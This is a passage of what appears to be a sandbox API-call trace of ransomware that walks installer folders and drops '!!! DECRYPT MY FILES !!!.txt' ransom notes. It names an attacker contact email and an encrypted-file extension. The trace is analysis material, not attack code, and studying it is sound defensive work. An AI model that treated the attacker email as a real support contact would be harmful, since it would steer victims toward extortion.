pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\1040\\localizeddata.xml", psz="C:\\588bce7c90097ed212\\1040\\SetupResources.dll", len=0x2d | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 1 [0088.422] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1040\\SetupResources.dll", cchLength=0x2d | out: lpsz="c:\\588bce7c90097ed212\\1040\\setupresources.dll") returned 0x2d [0088.422] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0088.422] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0088.422] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0088.422] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0088.422] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0088.422] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0088.422] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1041", cAlternateFileName="")) returned 1 [0088.423] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\588bce7c90097ed212\\1041\\", len=0x1b | out: pbstr=0x6ebf3a0*="C:\\588bce7c90097ed212\\1041\\") returned 1 [0088.423] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1041\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1041\\") returned 0x1b [0088.423] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0088.423] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0088.423] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4f40 [0088.423] FindNextFileW (in: hFindFile=0x6d4f40, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.423] FindNextFileW (in: hFindFile=0x6d4f40, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x278d, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.423] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\588bce7c90097ed212\\1041\\eula.rtf", len=0x23 | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 1 [0088.423] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1041\\eula.rtf", cchLength=0x23 | out: lpsz="c:\\588bce7c90097ed212\\1041\\eula.rtf") returned 0x23 [0088.424] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0088.424] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0088.424] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0088.424] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0088.424] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0088.424] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0088.424] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xf371c69a, dwReserved1=0x4d, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d51c0 [0088.424] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0088.424] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\588bce7c90097ed212\\1041\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\588bce7c90097ed212\\1041\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0088.465] GetProcessHeap () returned 0x630000 [0088.465] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e8fb8, Size=0x24) returned 0x699708 [0088.465] FindNextFileW (in: hFindFile=0x6d4f40, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x10a82, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.465] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\1041\\eula.rtf", psz="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml", len=0x2c | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 1 [0088.465] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml", cchLength=0x2c | out: lpsz="c:\\588bce7c90097ed212\\1041\\localizeddata.xml") returned 0x2c [0088.465] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0088.466] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0088.466] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0088.466] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0088.466] GetProcessHeap () returned 0x630000 [0088.466] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699708, Size=0x28) returned 0x699a98 [0088.466] FindNextFileW (in: hFindFile=0x6d4f40, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.466] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\1041\\localizeddata.xml", psz="C:\\588bce7c90097ed212\\1041\\SetupResources.dll", len=0x2d | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 1 [0088.466] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1041\\SetupResources.dll", cchLength=0x2d | out: lpsz="c:\\588bce7c90097ed212\\1041\\setupresources.dll") returned 0x2d [0088.466] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0088.466] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0088.466] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0088.466] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0088.467] FindNextFileW (in: hFindFile=0x6d4f40, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0088.467] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0088.467] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1042", cAlternateFileName="")) returned 1 [0088.467] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\588bce7c90097ed212\\1042\\", len=0x1b | out: pbstr=0x6ebf3a0*="C:\\588bce7c90097ed212\\1042\\") returned 1 [0088.467] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1042\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1042\\") returned 0x1b [0088.467] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0088.467] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0088.467] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4f80 [0088.467] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.468] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x318f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.468] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\588bce7c90097ed212\\1042\\eula.rtf", len=0x23 | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 1 [0088.468] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1042\\eula.rtf", cchLength=0x23 | out: lpsz="c:\\588bce7c90097ed212\\1042\\eula.rtf") returned 0x23 [0088.468] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0088.468] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0088.468] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0088.468] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0088.468] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0088.468] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0088.468] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xf371c69a, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5000 [0088.469] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0088.469] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\588bce7c90097ed212\\1042\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\588bce7c90097ed212\\1042\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0088.612] GetProcessHeap () returned 0x630000 [0088.612] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b02b8, Size=0x18) returned 0x6b01f8 [0088.612] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xfed6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.612] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\1042\\eula.rtf", psz="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml", len=0x2c | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 1 [0088.612] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml", cchLength=0x2c | out: lpsz="c:\\588bce7c90097ed212\\1042\\localizeddata.xml") returned 0x2c [0088.613] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0088.613] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0088.613] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0088.613] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0088.613] GetProcessHeap () returned 0x630000 [0088.613] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b01f8, Size=0x1c) returned 0x6e8f40 [0088.613] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.613] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\1042\\localizeddata.xml", psz="C:\\588bce7c90097ed212\\1042\\SetupResources.dll", len=0x2d | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 1 [0088.613] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1042\\SetupResources.dll", cchLength=0x2d | out: lpsz="c:\\588bce7c90097ed212\\1042\\setupresources.dll") returned 0x2d [0088.613] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0088.613] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0088.613] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0088.613] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0088.614] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0088.614] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0088.614] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1043", cAlternateFileName="")) returned 1 [0088.614] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\588bce7c90097ed212\\1043\\", len=0x1b | out: pbstr=0x6ebf3a0*="C:\\588bce7c90097ed212\\1043\\") returned 1 [0088.614] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1043\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1043\\") returned 0x1b [0088.614] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0088.614] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0088.614] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5580 [0088.615] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.615] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.615] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\588bce7c90097ed212\\1043\\eula.rtf", len=0x23 | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 1 [0088.615] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1043\\eula.rtf", cchLength=0x23 | out: lpsz="c:\\588bce7c90097ed212\\1043\\eula.rtf") returned 0x23 [0088.615] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0088.615] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: 